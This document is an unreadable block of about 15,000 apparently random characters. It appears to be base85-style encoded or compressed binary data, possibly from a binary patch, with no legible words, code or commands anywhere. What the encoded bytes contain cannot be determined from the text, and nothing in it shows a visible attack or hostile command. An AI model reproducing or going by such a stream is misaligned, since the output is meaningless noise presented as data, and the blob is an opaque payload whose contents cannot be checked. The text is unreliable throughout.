zXYsJ>N|bAZSXIe6@`D}rrQq+*-XO*5kG6|&OZ*yUAKs8Ka`M*_IDcZ_E`b*ZHR5)c zR0#Unm&HX(Ji9jY9~Eghy4y>vT7O3_tK~*K!OGb_t-ZFq<8C&H|~jlAR1aACYQ zs`U~ff1Vg^)hSPU^Yxha^sz<0Q~%ussW!8VK4wF42b?;HzfrAy3{!u-T5j5dxx=JS z)G*ahdPCnINQ^gIbmCg_#;(zNxx}I$YM()0dXXyjNkjWjtY%8pT4(+4j`1J3 zIBjZDINK=`dXy-d?9OPtKvKcY!RtGp;YG(_O}ky~5M74JzSzM+5!YZ*j?z(hlEQ!# z1=jL9f$FnjR`;UTZ`QZmzI~O*Px;-+A8hTn4{y71zj%_;gn2wG5>)jjc$A{;+J0c= zNC5u(Xl}t`*g4J94ygk^0j=#0X)kD!-)c}); zRdj6{TXpE8%?nPQdlJzD&aJ60F{KlC;@fJOUzz=GnKqSvIca2bF0$ zwXvKe$syKo7G4m&-L%uiCi-?bST(A)J8=(fSHw)|N0YbbQnU9vn5FdG2{}wiVMO%1 z&NaKCBcSelMdIKQpfCK0CnYimL3++(X$FB6rzL zNfHP$XnZ}L)EF4@iK@@Aq>yR-$wq@&Z1KtF9kU~6wOL|~i;3wby=NAYEwlJ^rSVH@ z{^{zqqer-idQzgjlzKMVQFkW*EDsfcwHMr?jBD)IH-LPAhDwirUwb{7VV}s{l|#yY zvL|jvK$M~XsVPYtQMP(wEnQ8 zfh@N8u=BRv5w_Z>u)ff1J{7ZMp@O3_^oTdj{}3weqN#0`&48cu>c!AMdx@87wPtPu8yyJ~+d}qC zED~EPq6%vsXE{(}DG{j>Jw!12uPYJuC%*_csxTA1R@sppCssvEJ zi8X?ykiLmu2mF@UqS$x;guMPK{F+Qy^+Sykr9}2a)!&bcxOYVnzD{1FO8`8ujqLp+ zz{7wGzEb_s`3#2fWvt;Wh4f|oTHu$3+D%Q&RqN;^{py1rfw6R0rS@S4`)+(M-i%OK zUbJ*VkP0x?gxA6i*zO%@%t_UU#2su5kV|N5*wu&Ngof%^^Q}>wtvE<28YSSaj7FJs z@OT49$x>cWqZS!IU^Ez{=3il6vHjwg+JyhDZbhb|c>?iN zimzkTTO<+PW88^;BUAp#q-%(Ru1!r6QObd>jL;;lEJ>FBBBdcKmiQv|F7K6*>W+33 zn6F&askF6Z-b#=9P^Ez`4*yW~cI-7f7}e3)DVuHPQ7>JQsHlc3#K`Ck9nMGf=nbX6 z`3Kf>VOMzihjQu!FH(c#n+rWk34lFAJ9XoBjuGT`_@*Hy?BXA$$h*-qJAJ@PkpTSn zmT8o|MZ>dp`YB8EyBL7p*}bCYT|$c<7DRLZX7`^JU+#6Ri$ti3n)OHuOD;3kcLoNO zA_1uWu~D?1ov|L~Q`mptbA8mWR^&xt;{Cp%!6Bviw(&~kCyv<~24SNJ4vHis}i$|E4?vV9FCKnRjO_ZW*>&7jtroP<;{8kQ7sV5qlT=(cD_3 znv*P-5;aqN8q=T_1JFCoPq$wrSP3csYhPxePkn}XyXlj?yBg^_5iH5@ zWrsDa@C+-g7iY{Uf0$`RiYb1Wy^s9lP9|lJ;&2^hU!N9`)ExBwV&pby0}}k|+mMZJ zN*{qz`9}+sB3JoGF+MPi>QhZJ8uSeaDMZ)wcd0+5>l*;0LnS3!M)^5a15!%yIrVko zTdL|ZK}PU}ng+C(;)B}T)Q?te@QWV0q_q<+9*WGN$m!1eETBEQy#sbwUP&}AS+v*>p8&!WrmEJ7Ia*8p1+k*^gtUK@G!f)Jst>{-uY~ zj*L$cT(GBfn&wsp=*D!I8gYLle-o?=w=b;!*He9tx>_g5o(}=(-PAM12B`*jC%nFsF z7RaR(n9Qli;3zB`RJ@qi0|*plfJ;{i27&OO-Yl9$S6kMJV6$-D1_4?t1yRZcorEOu z&zy4Hu2|~qODnRRDuk?DX4Jl?Nq*2r{Ps2cWc`aV@`m;N3t15;f__y$1HX<~1JiW> zvTc#{=iklxfo`PRO4C-}yj?ZIRYmDX%-_-r4%pBBT|;sZH9(_~=qdr%8{n5t>$?-~ z^oa-l&B^H~CD9vCpcrJ|cayg_yL6v-w6`O9Z=YU%BsfVTklOvLna6??RKt#5fEGau z9!TvkFw0#<9+4KE_0{K0L@h}~>z$E02?rD7o}<+xPPaGgvqGOun~CVJFWB##t{l7f z_z~`gFQ(44IjbDW-*HLrg--3pd$ol&5+msU+zL9<4_Q|gx$(uYyU(9$Z#v@hIvkFYrb2NF-!o!feiGD@BW z&`KoeZ7$?Hpg*dAT}S|}KNWe_r3LEx0?tt#pdc!)K@$QE%%(@JN((fQt!sd6$w8eO zgGB(;eBoTrFcOHg&C|6hK}V^^`D=g^61Z$s&;tb35)m80+?C(z%q#hCDWR%^PYHxRT-x!ZkMVnjM_Ovv6C3Rlw!L-d<3ns4BS07Ky zz8HnycC$xtF};r$J>UdR6ZuZzcv^)>vV6mU_%SRXJJI@tvU=jZ=(-#cQV<+jir(6ss{o!K!6D8Qw z7-!l40pma%zk!{s&=K-!`X2MPGt`u?(i()+^r%qNDaFtfD3#=;_d6h2P6~s(R{h`@ zWtZj~?DAnn9GhCrV+534q|d7`?uVqGBq)E##fFZm96roLz4OXRm)W^cD^5~?&!x+m(a;ifhzZ!XY2InwzOu4b-fmf zO}su!P>m(xc@A)<`>~b4c{%5-)uC(u2`bU4t@N+YF}=3adO4{tuZ0#J;Z8a*JE$hF zg%ziacae-69aV{MsiLo#f2TnAp`sB`QkIci&V)_~t%W}wH_xRUPInp{wK>ivWd zRRue9Giz}}lPZ5(u-8z#H!&UWmL}C??ntx-_J!cq8Yb0pCIalwCL0P6cCwk4A#wJ} zU{{F;Ap>3Y)W*IJ@*+LY_^eA;JB8Wbu#!{A&wAW)7xFJfW_ziCZCH*kco^GYBtM-p?Ik9S$>OTF8-6@-g1-6H$rMV5db%(TiPfnNzJ>O2n} z#VVjry3QOy+MZQgU|y^({j~sMnM+&j&o*Se=wU`HxL$K|f?cyeH9f8HBy)LoFxrj~ zjV?ztLinSU-Lk}`zx-x8)m2o;OAVcm&hD_I#Y4IVB9Ut}}W8GsPAL3OMANC?M z-b*sp%HT>o9*u*u-H*(6KgqV0vsEKn3EbJx5}0!LwQQe4rF|VqyGyH0Qj&dBQ*lM> zzU_?p%5+Iv)_+Ma?-4Xh(k*iO0%Z__&l46y6=F`18Y=SC;dpe;Q^Yuwo?IomrF1Pv zW=bdiHmqf2a(hrX6N+znwI_D-JLR0RIc(;jhzH5r&QSWh*#0_H>7PPMzl=+-brT3g zJw+&gZIQ}n-Y>|Rb`NuEpGw&QabP3AKl)mn~jL zfx))26w%#(?MbhjowY&e_Zw0_t=>uRZJ}3ppB|c5BF?ir7kc&T@aa?}lvJaUZMl`+ zxk>Rlqx#&Ya=g_%QCSqL>&UDx2B(6WgI>gi88FRZ~ZKf?A=ROa-|AfJ2<%exX(Wn zoEY-^`i66vugE<>$V>cr3H-;|{%utLH^1CF_e%Q(mfeha)$lK4j&%!2Zx77j|7gQz_c5m2m#Zk>mrBgAL<*t z83p22WQcT6xfTv_#D4+>A#7(uj*#xWrXvi%AcXDzXFoDfLpXtBh1-!4(*68&gg90R z+f|Yyq`UArY%8uqD+*gTMA~$RzM|TSEzH}@+O`5UZ8h?CgNTc39JZj}Y@)X`4W?ff zXbGk^M;+*EvgXN3cjYXq;n$+-Wg=Dc}ry*ACTMK;&g6iUzT=|(ec)>JcD4X}=yXKQNM^+R^rEL+Pc zmIR&dnC!4UwpJi2lJ-85c2VuIHReS!r@M!1TXnVvmV3e)jVk}Ix>vVb8CZz&r#N`f zGFYfpG)lbn zZh>8u#+p2xsd>aAiZb(VE>XJE-bxEm)PRaI`))2#diLG5c| z3oAyk&|}{pq0;E--W&vabN(pD=nP$t2o=GWo%7KgR2cF-Nk|RkqxtQA)?R<23&XKL=8R?s{Q$+Y$@Vjxg z-v+28Jvio!mE34`Cw--AI|U0nSI$voRxapCFIb$lRa&{*N#!JD}E0k`xME(GtEB1;Cq~! zeOEdR@%cdt#2{)8ktKr97bAZWAbff$@)F@+Xg8;eT{2$ktS)6v&0og$*8__8ayP~6 z@P=mPxUO8T-!$uA8Sl#IHg943+X2bH)lKs4T2f7Mx1`f$g#I2+dbTGh=MJaTy>tb4)iM7x+dl`${4*r;^=anmW(B?gm>Mdu zqMwDllu4o0NdIC|G0NGI)SULNU;^D@{ET2~Ep40UqwmK~4&iIT@4m?Pp90GGB?mHU zH6_K$2;)G%VEZ2d$^WuIQekbEbB26v-n41daET7HTYkl+wDbIl?SBE3`)P|IPN{t`+9l%zS*@&R%ChyZ#s{k?q&Q0o+9TZEN9mOw3^m1Gk<+%lt=N6J@SKe?0K%f#NP>BTEW*vwC$nqjcmKV{1v+x3O z6=i8RvZJyr>2V#Mxq}Y?ZPRXCM`d}^qdL0sh8+L`wHwk=S)lZQj*grG2Y@*3CWNdk z&aJe4<_$HV*Gsks3R9_RH`t@H*y*7j8SLU^s_n6Zj5e?v=22PbHtS6j75B?5*qce_ z)imcqWvSbY@E}^filSbP3$nv%WH*gyp}{v6J(hm(4J}RGdl3$g~ z@KjmS^dPY!Nh9PjUvzqri=$4@t9S;~Yc?*RP0x|Iyx4B_wJfw#;PfDv#EIm@Lu=;!lCE&nY?Rq1lavdvVuN-Qqyg z(>y=55mKbILiK z^j|qI`!wF3?j9EhZ+Mz*9(IWYZYKGyGLJfV(0s+eEjZw4G+pwHpUzBfkhHvxD+$H2 z5Y|*OZuu^0nVKq;OpmoRFPl>wt&g83FyEckdKWFpaxA(5iHjm zl{jjQ&%D(wg`<%fiKpkeb(q<;I?ej=1e!*E2J>~yNXzo?zz(VKwcvNxvVFXKQd~<) zu{k4!o*mLEdV)!HPKl<9l0}~{&G?~czO>A_%K$mR_L=fQ4v>&HSVOTq6;>lkDTKEf zhCi8_p3Y>1=H%01C8Ezlkwf1ss^rW*#D7l^%gKN=>nA1-teBXm*nV&M#5`3fU7Zf6 z61=on%!Gny4#MYEd#HR&pGq=aO{K7o!IotX@<-VI?DBDXgyeKyhLeA6Bp8dUg%-rL zU|Qv6U=yt5qy>Z6M8Ka{foVO!_^gp1C_w2V;^(pb#pOf%yh83>9NuN=vTa^DBqy?# zs~GZ9zL$^ZOWozUJj-13m{PV{F0gz$!l3Pp`GUc0f5>0*r`jU3|gs%m^dllcyhy7I~_LVueeuyp8Qce*c(1I65{u#6Lxtw9&4w%#z5~ zLQ?6{sRVo@LxW?-0w`o!%1MUq@zJT1>F*o#4^51tfU%n!cS*psiNFl{CI-evM^V7E zl@m-m38vN3*9>Q3(=JbXjQ`SuSx$m!il2_D*1^BjoJHm4vZ|a0vx?@DtZ^Y7N$U_+ zLqnixo=V1RU??#0WTFO!0u!o%p`%RUuHlv;J~uh*8h%YrR_Ac*TV|lvw;}$vGF`;$ zdh8Fh^br>xmgyueJS>!d*iu-Ob<6pBNi1qLot_srX%bx5@N!dJLsN9t9lV-`mo5pt zwIsdsO6ewRVF}m^u-stRkziL8-8I%i_1x|nTW$f*r{ju)?yxmSuyR~aa%^|n1r}u{ z%Ozn$4{B<0I$p%W=ByYmQf~YkN&IaNdmU%Ze1_cXxZGIj^@ci%8di2zyZvSoP*ZU> z*Q|NGsDG;nQMIDm;s&}di@Q4MYQ?vu?`c(Tl#&}Lt7JaAB>{M$8vwzlLt7GX^twt# zJF&Ind4AQ0@ul&eAbK{Cq*qlcIwj$GJy8!d5u$2EM=zjMB)a9daMvMH_ux>`ilSFhi_-}`>|vOw}QO43%s)&zmLz8hJCV{I9p zw3o1AwJhB6Qn>D?DO;fSQ3S7znIm^Bhyb4|IARk4H9+#D#A8!LPC&M)CrFO#fA15W z=3_lVJry&92eN<~A2qwjfjV7Xl%;A!iC=(yfgR#_q`V`Jk~-$KcnPG4PQspH2Vv4v zWk-SzF7PGqC3PSu$;#SW?4VphQQqH_|2r)LMyIsOuEoe@UG!xjkzrDLP;sNEtzjtaq{l5%;_NKr=*3iOUX5vL5R$J1~{@Fd_FZN!5*x z8(q|p8fkP{2ABgY2i^nw``MxX9+dhCgnBe_e*pH6vV;2r?Quhiq2s2&*eEN02KG<0 zgYjojj1M9ht!-U)a1y`Fn8&-2aN>TOA9NG~ixr9Qw6!}vwN9==N`w9MgaJLM;@~T= zf1MrhUqQj2#K1?D_%~qxeRha{qdjrbL)J-Y$k-?|{s8uW!w$$lKtVo)fwYvtECKyf z*#CkZpnr-2rCT)T``;Nf$0++Gw9W9d<1>s*@?S#Ih9cWT9?-S--xBIl#89|RqS@gJEK`-VGea#K`Z*|D4fkR)j zJAtwr_c+OGv+ZYQl9x5cxSyxtb~XzGxL)Am_F}_r=gj*$*W(_74tbs>?`wFtTcDBl zR$vxt%v*u61|2tOob+ytV1duf1UYMvaqlh%JeVI0=(eZ(2uk;G2h+Q@76CK!jjVCz zP|gRvOy~{(djX7lk2&DMa;C4_4Y(Qe;SOwN`WheZ_2i%@!-2jAhx_0-(vhh^UjxMb za2)BxIKaY>si|t#P~(m!Mm?DW3>bT3jC-OO^=JUl*Che&OyOvUQ~rI85ci-kQsz~j zU?Za^XIY5QG0PIPSrpnKs$)fhOks-M982ux@Zzr2m>RMTw6VbNJWKq}5|>q^+2zfZ3mYCx;h!1U zpJRmXQz+eo#6*uTmtv7)n}Gc~BW&?S@s=Vr);6z?y+})oC!cgFI)~wAKGM6%P`i-5%=jM8n;EocLAix;c?H}X3a-pKDG;b$CE=8vFA zyBhf&3bsLfnjwm((L6i~T2&woI{5pz7W}6pwVZsBUcDkgVkH2*bI(k3^YG7w%hTLt_~x!Kuy^8fh@)8pFT^e|08lhTXm<@84Mmh|T2 zDdcJM+QZ@hbMN+1sOK0Gs>^I-d|QzD4N~FTEOiE*x^5WHql_nW(pp_n2c&%@jhpRF zE=${Db)#F-r>1Ou22LTfH%{=Awlw;|{WNL+i2=9%8(S3RMX{n%=S>3<^i~A83E^0} zYY{jW?{D*!x+j-V`)SJl6Tl@@03+ml%%gu#Hi~%o=b2dOCO#(DXHl-5HCR|=oQ>fz zF~VSs2gK;6!NMZxx58d!g!D_kHCSSisx9Fk^2~QJA_hDlL8lFt$cf-p*gwXI2!7m` z28(;lIrbVX@Xse;{|qAn_*ql{bc^QH<1U>$cLI?N=fi<0&pviD$rI~vlIQaHE6<## z<7@Nqzxm74+|y*Z?b5}kr@4!lW~aFem&jn;)9~~B>?|37gTLl3U-EPC?Ex1uA!*Bl zs4x!dNn##*3Xj^$I=)<@Vb-~Vr2Shi7$u*Pm9dgqy%-oEV zLt=*8Cm$#mSYmdJEoQi1Y|yjoLS>s3W^P8@Au+@4xIxcYV&-PK9TGF#cpLO=k>8YA zVRjE&%iGj=Z>grUCeAXqoY>5#;@=M1|)v+p4_3Bu5R;XcwRA4S5#@MnAqfHz65tI=4tAuw)m1PDN*i3?7x<}RV< zaGCt_z`SY7a46vULbqiO3^PBCG9O-;yF`Arg??zNyrry7mn+Je0pGaQ2szV&*$BC) zHP4pEyO7Uoq9>n6UF36qp8RYppA))#*5+Y9Z{9z7}J zKBzUm_(!tVLUFwMde2y!f9VlYBRYvTQG^dk-CBuflBpy)&O(RwkjrNTC(Q{I)}f7J zwZ2uXh*j#z^&s3$yKh8`R_e5wJott=|F3Qs%+?>>Y2 zscddNq2Q3=GY#V##nM(eDQL`gqiVz4ML&VL%{c@I4DSg-H9*YY{2=D9hPh2R1P2VC zmpN%Bd-hrLPjbGknaJXlo`pHH;+^KKhoD-~#)ILeMZLgmq|l23XIH~07xbTF)=J&E zIno|%)Md`iGG=_p@-`ms*(k9P7){$Qm4w)#Ooyr@E|G35O42_1chFv#$by1}P^mqG zQafRxrUbn6NK0TI_RUaf^C<137TPufT2SBL$H4|RBRt=Th(n!Ti!J^5Ne-+{g*!hWp>!gj5_LK2->$`|Km`heG7$V?XHySvLeYv*7WVqVgFvJ=>8lq+pk-s>~|`(EfnFf`X=7H0KjP=|8wzw{8tQctqNR2dhf4huwFuihR%d z?qC)8X%u*$IqqOpI0LU89gEn_YX_?$9=PoA1{(e;CT8d7XBWh`MB8P@SYkO@Os1CN zFOVOa-IJlCdlE%=kZN5v<1e{{kL0F9 zCpV2NoknhP(O-0zeMILL%sM!9=TLN$iPc;_n*+5gE~E>-@f+i&=D0V!ftx?$lAs%g zGodq_K^aagETuEo{YE&hBb?*>WcXC*4DnFvhXG-#xDd~$it%JJ=Nm=eTQ0Mq1Dr(x zj^$H@B9MzO`^xUJpX}yBXE%qkd!Ugr{TAvi%KSxAwOx_;#^!}9SLU0Ru3VX)Z5$Kl zOYw49zA}5~>C4WT0_|3;3|U)4t(UCqvw1Fbrqy3U|2ab5#r}zIf^7MBi|gXBzbRA& zNT3RE+^zuZd4eL1!eXf4vM9KF?BM#{859{d4#+)`iTnw0HbL-G*Hb6?g>& ze!>oXuegM&$M9g(!QsYTLOF0V=oRWcu>VA;iw{PFjR0qiGn+72gjP% zl#j&lnB~D?`zaLLF$Xr*T&8>+_D_b&?Gq@sdmSYln;xP*1^X|AO7GJsz58%_tSR3w z!Tu|u;`?P3pQDw}rk|+K!~Vrk;r*(YoXe=Is4v0(l~C#Zx)*x=?ky_zHQ2u$s+@iU zl@r~fY5UUyv-l=-5w_Nza1Mt$U%BZsg7Sj&DC}RgJUvJ+NT`G#^#-u*@{)_593eS| zk~s0(uo^xekuix2mnK)W1l-5`J;IZzpoO^&0IW zSy1b8mCHy~K|5lVb~ke5&b&UR1xyI6VDgyv4%_QuBXx^XC8#gJr*#-|GxbrT8F`^v z=6FtjD^8UVb<%W@-kEA(qLFw_;1qy{U)Q9Dsle1!|eRtyZk^s?jp2(9ge1G@sjo(`zJa31uzg&?~3{L5W-zs~bj1 z3ylPsGZ)vxud2ZD>+q+RU*Ui9jIE?M<}qnuPyf=>i;&aEjm`SPc9k)$+3GUmEsP2S zPJOtjP%^sTrpLEV(fT%DBKYj^1h z+Lf|p0;n~l9fhlr6QE&KZ!DT_Zvxxo%V=H)ap@;&k|NS7(k)L|?l+zB%Y2W}7r*#*lHE;mwg6kC&*T4ZJ3hUi? zP8>LZL}|STrxj%fkV6mR17_scxjE1J}x9hp*Iq!X(pG$tf7&5Uh;$By{A=APm{?aX))?d9doJ-Fq_JsWxi_rofboq?n zr1=mE>wuP0Kgf=m+}kZrcQum>4j%3z@PKv!InuUob=8w;)lD*?3tu2}LPZg{yHcG_ z;&K}jba6;WBN(H(hg!Xdo@Ru+4lcl^tw&`*aPr6f2Qp-@6@A3GbFc^n1`H0Bizh3F z?O65zblj5@6J`>7fG+N+C`#c0gJXsJ(}_@kz~E5Lqo^V?LmV8a3n-}Q%n=7i>JmyS zYO}<_@w$xiirhSLaKN5LfkkYlI5=GRQirI`6$i)bIhS7R{^n)OU`_MnM;Wl^LF)M%PPThRw2Z0J7W29R&E2Ove z6xv|E)W^?=xyKOey%ceu7?!C%CyFLKLCup+!M<*Jy6Ze?@1fz7H-q_6TyRZWkMex) z<&IB^^ufGn@6qBjA`zMo?L8uVBBU?pL3ZjY#y`sm=^GS7qR)v z-g8RgoCfojp-5v9m4^2D_&2gP3hH?EZNHI;@2rdEgnU;~`ARW8pJ+Z3?ODvnn!e}R zXPXX@^ld$!Uut+fFO`dAxnv_#k|QOlqS%kf(vH$*q;J%?7xF<^Qt}XwNy*dkZ))0h zBNh1P!I(Z0?l>Kuvf`_V?nQKgy_j^bh5d1+XucLLiXL*IS**$8Hd{!ah?!%+j3C8l zBJM+wt_d5W_mChnW+CM$j_flPWl2@Um)lK4jCd<;_IsVF(4UHbL({fPna{-Vn1SKR z93LvjWX@oqH4>|%#uUyi6em{3vlo4h2)E7@P1$o9-+8Q<2dsrsqY#1yN}Ha{u%}=N z!*C<~72NQ*{JX_<>p){=!a3F_hT&y26=uA_K!2g^JAW~d{tT?Bc5yl{Uq$4 zVhZRdJvVjN*u(j0*ng2JoOtw2Y-md<$x@}F*Yr!my7#e-15+fK)6jul+ZtEP<6YqY zEbO0S3jb$O{ExT8pA$DWBgp^ruz!Im{+~zrKZ5YDfW{Z3h=O;E6&fCR+~XYvUM9#3 zQZ!2(68!V)Oo9Iz3jSdPJYQEOt<;G{j{7%Z|6QiIe-q_?8f^&1BTW8Vu>T=bToT()^C+iUT@SeCc*2nl<)!VgC!Jz<(D7kBtYeMHl<`VE;>|uzwH5jtwBR zUUM?k1f9_}C-Bc-!TvW)N#UC{v@^e%5Lm?>6FQT!z3MGjF6H7zxbWeds9c$C;AoQB`cLY425|LgUMK{=5ew!#qx2_C4@IGF}9I1C{j2h zCLMJb!)Y2E~xx7Vg&gGIL0$$j%f}e1RD@j7Zn)t?}}P%-1$MA$!7X7Sc=AyR~*B zyJKd;7WjP>%NepWB^KPZE7tca%luApQhjEh3moaP7qmp0cC{!S|6pcpqEndTr!PX{I&EVGwL_V7`?;p^cGh$i9$M?VJPz+W{lnu_p%SDC9dY;%kg9~#|pk9 zjN!v47Y%#>jxBsg8N+uB#dp}Od2{Kj*OgtP#TdnVyiiQ07^8R(V-)Xo&&PWEIh$dH-TjQQd%(Q{G1x6GvI6e` z#^61O!kcLHJJ`{?2N^?$8_!Hy(6OU-4>88>VU*n=!fs(How?4A);-J^xkubHtVWI< zrF(=ibf-~tM=TY^a`px@BcyJj6T_nSsCzZ56?ZJbdz3MFxQA$3R}gGW^>JUz7(3jq za>8K8QWy6z#?awrloZ|Ng>->TYOsRNE%J6)=y3ZmitYkq=%yG$hud(C5p?s=L}7-T zTL|;8xZ#FNl-nFj+}z@shs6!I*P&VU;+?tKWVVoJ1>KX3p~H=94r%BvvqWy1F>>cn za`gt3xCVu-@WP3dF9znbmGs9!hr#C$}Y^r#`Xq;->aFK)P zbm(=~&2c&`vExCo_j`!*WfAwYE^)pHR=aOg5^?K_rNQe@%rDH{0+MXhcmw^nv*jJ@ z8>v5oOWi}HFIHmbhD8pKi9XUks8_#(dp!zn%wr&^ey4{Anm_0%=2O43yMnXx6g;Qj z**%A{+wUPxPQR0TBT8=6TTronhxa@R?|_&1Vf~ISj-or(VJN14r?`MpJl<(UrGCel zKrxO{M`HseY)3DN(i^Ar2FlkKUkb%{$a7S#e&@G{^Ya{BtKa!uMfn|8HpO){T`kE1 zdHMihD}>itAWRAagdPy4@m%aV(ow(jdlSlU%wxc!ey4XGr8n+1PGG;|TSDs{{)(2Y$sJ zBks$3Glzm3^%f_l-{GyI@Wwobgz0yBH*k6$BWd+Jy_+b#aj!wM`W@db6yJpRKs6SC z4EvsCko*fM`BPm4eX@vPPX>KrPvh6WlSx0qcjF#=tao&#EHDsUla|SizJ5YKfiqJH9<_>N!b?losZlmHD zr&Grl)-ib2Bdu= zT}4UnH@rO3nnC< zr%|563vFPxtz zKijfDp|f9`hyA=w2F83+I~fea#jQ`DZ*e*V2|mu21Yd_rP-BOG0Bg0qK8f>ZI*1`oVpI)5L>p6V}@spH#yVS|6+*JE%V&|E#8Mm-+V5 zn3-8@o3HxzT2!19hB$Kq-)8ZiMVfPnG35z^k646#fR~=>XCP7$JWlKR!kE>+bmz0RRD4|D3&zZ+B3Fc8Y?D}7 znO;jA_eM5GB`(#d(OD<*zRyM8&aQh$0_+jrH^4)!jE^8)NI^;$Ui`nn0TZth$*kK(fN zO)3Y&lE>R)rWvkn^Hm=BG7zl|Sr#fnH@W2$CJ|4?5h{cp;eAJ}5yz%ycyVh&4X;>* z=cogPH_yKd_K)^jBJXY?k$SDnccbuoRw6$G`_J`SA|G!d5xxcuqAn_h$teWBX{i_% z&donE6r&i zP$_68Ux)p-d(GsxP$qPX=A6Yojwd#>}X@_YN}^k*=049ps%17i$q zbGOBCLD%wlr=qZKj?+Gh;yfyf1Kw>gEOME4mN9NWEuQO);UupmPPge0*LTqs+67c- zBVNrYhL|sgg28wZ#dxrT33&_2`<%+JH*UMFS{>6h7^QZ{*`$66r9RftwEIAVHI}$> z<5)*?>_crEiM!Nf)W8R0*6ui)GPsP(prcv!fedyhgJ*CVbTp4{kpYAA=)rJ&7Uj6V zlR08m9NYOw<@Gp~PRt7SAeA?`P-#D9z6W7kL17RB&!WZF7@ar@)se&-dynRgC>mmz zT-0XOSY`8k@7X+$vN=?w2HQn479P`wA#9@-XIa1#?>(M4if6n?dT0inW6nVuCg3de z9?k*^XVfTiVm6Zx7MLV@&m@5}aapJ9?(Xra&erJ$u|9WC4`?M(xgEq8*L%<5I?7>SqcyP68rW!gw9%qlU)uby^NJczCZcTfPq%0a@4dSd-clk- zyp;-fs5`EKLr(YiXV@VpBRa5$9dt56c+WcQWQ6Z&ly9Fo@MJ_51Bad+OVrJwCnFNw za}GYUzHrt4iME^1W7xC>{e&?bF+6YBz&ZEAvij?c{`|$9*Am}X!dclK61Gf z92eYj`mmPf*=MzX$(gpEN}in}J}=GkX__;BLZ;MyfFc%kP1FwP?46BG%iQLewY+m~ zmUIUjxxYoKLzXvabH9dKARpbd?NZ)XV9y34Z``Qth#~Kiw6(=Ih0ArmueBRTPey?>F)A_KbKz|DRUjzf_Pg_^&6=7Xvi_Krc{x`v}`Ad|I z*&38d996d9{2lB+2nNpIwN@OlDl*3Azrz0CgJJVuTbDYDpeAV5%K%1fVwXdn+1Va8Q?}9m~29dZ;8->RVOk(TdP?s3zVK zDr6Y5C{)YNQBhQC!|*tSF`D*(_8wl74_5@wX(w%Ojw5T@cBw#bgdOvo)&m849#x9uN%4v`&uw^yM@Y)vos^2 zwl3YSkbX#Ujdn+>+RRdiHTS&^8CC@-Pxy+bdi$WBI2ih6vOF;u`T|P-q?LXNDr}io z><%;b7;#Xiq4xwsTt$hSgIP5h+U$zzy=Xc*r7elm%B2@ya?%}doHovob#wb(e5va{{9mCv&R=TJ~^CR)RZ z-(nEXL{M-hQ8@SOaBjqxR#VRP)=U7J3<}U;6wnDv)=FeEgEJUv2kKkT#w8J#X` z{I7+zFShmUbT7nZ-5jTVm(FQaItM*j@LEK~m<4Z;1o3&Hk@i#Ptaw=RoycoZBKr+X z=80`lR_lC)Ym0{be{9MT3C6{ixfQG^Ld2uEMahY+??`aRI3w*%miH_X+%wL;cBX=R zmIofUY`Cpy;GP9?4h1si(I|P(V!?x%je9jk-m_fruwtX$43PIM6+9Bvm`AhYJ&Oeo zQZ&-u*m%zp!GqrH_h4eYXOZCXPY!sn;M}uF@Sq)|-X_K^R1RAv#=T67Q<6QO6%Uf+ z^C-zNkCxdMlu@?K4iY%-+25Q-NaYIYM0}~Z5YH8_=He^YNFo*ngi}EQ!d-6bHlD?6 z*Y4B+P&STm z28LO1_deJ!_{hkuo!K)+_+lMfV1wNf8s_HxbW?vcXhis;9X~@HjB~ShF3xh#J;%-Y z2zN>5lIDS~PgFy25tOl<&-f?LZa zW--;u7SK}GJ2z_#8f%e(sBNvpUgVh1#LVCm!9e;93Te^;iM1dO zUxxi_K_dDxis-Nv5o>WAz6JXq2g&GLC?jjHfYG2be-8Wif+Y3lD5+BjDb|$guVMdw zkf{C|MP+R`rcWol3uRe^m@w?U|Sh!bAJFK<_u!CXc=B-Crzej3-&v|z2=8e%|qu_bs6MqqM z`qm>Z_=MJ|x50P|n{m_SV~de@Y-7h&V~+^mgA(4`&h>hP@;)48gk0?P2+RX`=@uPF zdp+Xv5XvPo?)G{_2n&Z|iJI%Z9>KxQ&?D!7uSawqL+M1!4PTGg;N~$= zbH>*rI8!*B&K+VsXm<3Lphw>5$|s~sn?cwSasdLwk!(28)O+6>A~=hRK>KF=!&n<~ zbiDfe{NQwRur4;z>tb0^f<3${mKDT%c1= z4f|$)!0P`FR>J!G88P=Lbv+T>VU!Egt6<$$F7||v>#9X&SHQZp2z!DDpSkpN_3M6a z_RfWb%gJu|xGh`k2_L-q%kZLCw?&IRp@YxwGP~gQRFG^=p=_94?0Qd-Z17oYeUZ&g zW0~tsa&EB5mHrHLk?R!fGePMBK1e-j>H>SqTVGFJGblWGc#vZzo_=50nuGmjP{PQy zDYy2{lGYOJ?+6NO3B`KY#JX1&vy!3Z_XGv?P8+BUE@S-&>^~h8pO3Vuci3CN`iroC zHYhy5h~hb9;$dxJ*jHiy&7k0X6@@d=fWz8iuy4cuT)ktEBw@F%J>4_SYNOibG^cIb zwx(^{GtFt+wr$(CZQJ_l-TUmbzc>}KGAdU*KQbyavYuGiz3!Efee8u(;MlHkTiv4l zu+{U~1vPNIl@l(@%wQlB^9g+X!bHpO5+Pz)?X;p(_?W8xA`l>YowB~g&I?oef_VI* zpcMU@4N};mmkPYX8ZC1^%ZEV4=DH_5kNPoi+`}3^?p9*O;DPdZ zN0Eq=a+$08gl2J}JlT?XGPwM;_tm}?Ut8O?p zc|~NZOi>tzO(dW-OyPi+x}h|QRKC0!OK<8UN#an1z^{Y**9rIb=06*vCZFLpT#1?? z+;JyDLddg+ozq1WnGM=UhLEyy_%zD=oDq>{43ljioQIKOXZ(Q1{x`mIXo2i! zHQpZMLs-0Rc>T8v?2X_DS?-pwh|}mQobE61n1Oc5Lv_PPctrmNW)7hGHyXEKzP}%B z0yiHBqfhx2X*1BAjTqOT5a(Y+l%%`PbtQj4QxsfY}aK*q3n!tr!Y+x(VU0M>pf`Mcrk`OSa(+2>sL* zzCWjx@wAq99YzMWFXbML3ejDMvS_TEgl(fTaCe*j{&B|%g5IVFJ-wt#}* zgsF4d9pc*ZU>LbaZC+O!^she+0p{_P(@th{!I*P}-TC!<8j>nM z&1EGR^N*@}KR18DbcUjMeIrsgiP?Jl{l%aBz8QS$iL}s-5EjD!&4)cmtREh3J6Pe* zlc6)W|1&S-+fZNs6T{R?6BTW=J%8h~H_D@2;K)^6W?Hi4`OKTsxVA4oLWf-5ef11M z0jX3%s4f&e%-QD9cLeDeqe%%D4{J-#|5WZ*O|q*t><%=tDWT`Eb0oK5U}@gL~} zLf-BuFU647(Wj66&=e;1{647l9X?}CCmD&fqjNR9yxWN8# 